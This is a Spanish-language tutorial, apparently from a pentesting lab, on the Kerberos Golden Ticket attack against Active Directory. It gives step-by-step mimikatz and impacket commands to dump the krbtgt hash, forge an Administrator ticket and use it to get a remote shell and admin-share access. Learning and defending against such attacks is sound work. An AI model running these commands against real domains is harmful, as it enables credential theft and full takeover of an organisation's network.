Golden Ticket

Este ataque asume un compromiso del Controlador de Dominio donde el hash de la cuenta KRBTGT será extraído, lo cual es un requerimiento para un ataque Golden Ticket exitoso.

El "Golden Ticket Attack" es un término utilizado en ciberseguridad, específicamente en el contexto de la explotación de sistemas basados en el protocolo de autenticación Kerberos, comúnmente utilizado en entornos de red de Microsoft Windows.

En términos simples, un "Golden Ticket" es un token de autenticación falso que otorga al usuario que lo posee acceso total y privilegios administrativos sobre el dominio de Active Directory de una red de Windows. Este tipo de ataque se basa en la explotación de vulnerabilidades en la implementación de Kerberos y en la capacidad de los atacantes para comprometer las credenciales de administrador de dominio.

Cuando un atacante obtiene acceso a las credenciales de administrador de dominio o a la clave secreta de un controlador de dominio de Windows, puede generar un "Golden Ticket". Este ticket tiene un período de validez muy largo (generalmente 10 años), lo que permite al atacante acceder a cualquier recurso dentro del dominio de Windows, eludiendo así las medidas de seguridad normales.

El "Golden Ticket Attack" es extremadamente peligroso porque, una vez que el atacante ha generado un ticket dorado, esencialmente tiene control total sobre el dominio de Windows, pudiendo acceder a cualquier recurso y comprometer aún más la seguridad de la red sin ser detectado fácilmente.

Ejecución del ataque desde Linux

Para realizar este ataque necesitamos el SID y el NT hash del usuario krbtgt. Estos los podemos conseguir con mimikatz con el comando lsadump::lsa /inject /name:krbtgt. Ahora usamos impacket-ticketer para obtener un archivo .ccache, el cuál luego exportaremos como variable KRB5CCNAME:

impacket-ticketer -nthash 029fe57163a12444aafeb80c83cf9134 -domain-sid S-1-5-21-3492974850-3977154165-1802910921 -domain MARVEL.local -user-id 500 Administrator

Esto nos generará un archivo .ccache, el cuál exportamos:

export KRB5CCNAME=/home/d4redevil/AD/goldenTicket/Administrator.ccache

Ahora, si hemos impersonado al usuario Administrator, usamos impacket-psexec para conectarnos:

impacket-psexec -n -k MARVEL.local/Administrator@172.16.0.1

Ejecución del ataque desde Windows

Extracción del hash NTLM de la contraseña de la cuenta krbtgt:

mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt

Creación de un ticket dorado falsificado que se inyecta automáticamente en la memoria de la sesión de inicio de sesión actual:

mimikatz # kerberos::golden /domain:MARVEL.local /sid:S-1-5-21-3492974850-3977154165-1802910921 /krbtgt:029fe57163a12444aafeb80c83cf9134 /user:Administrator /id:500 /ptt

Comprobamos que el ticket fue creado usando klist:

Abrir otra consola powershell y montamos un recurso compartido, por ejemplo \\PC-02\C$:

pushd \\PC-02\C$

Última actualización